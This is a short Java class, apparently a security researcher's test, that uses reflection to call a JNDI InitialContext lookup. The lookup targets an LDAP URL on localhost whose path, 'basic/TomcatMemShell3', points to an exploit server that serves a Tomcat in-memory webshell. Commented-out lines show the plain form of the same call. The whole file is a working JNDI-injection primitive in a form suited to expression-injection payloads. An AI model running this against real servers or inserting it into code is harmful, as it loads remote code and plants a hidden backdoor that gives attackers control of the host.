import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.InvocationTargetException;

/**
 * @ClassName: spel
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/8/23 11:39
 * @Version: v1.0.0
 * @Description:
 **/
public class spel {
    public static void main(String[] args) {
        try {
//            javax.naming.InitialContext context = new InitialContext();
//            context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3");

            java.lang.Class.forName("javax.naming.InitialContext").getMethod("lookup", String.class).invoke(Class.forName("javax.naming.InitialContext").newInstance(),"ldap://127.0.0.1:1389/basic/TomcatMemShell3");
//            new javax.naming.InitialContext().lookup("");
        } catch (  ClassNotFoundException | NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }
    }
}
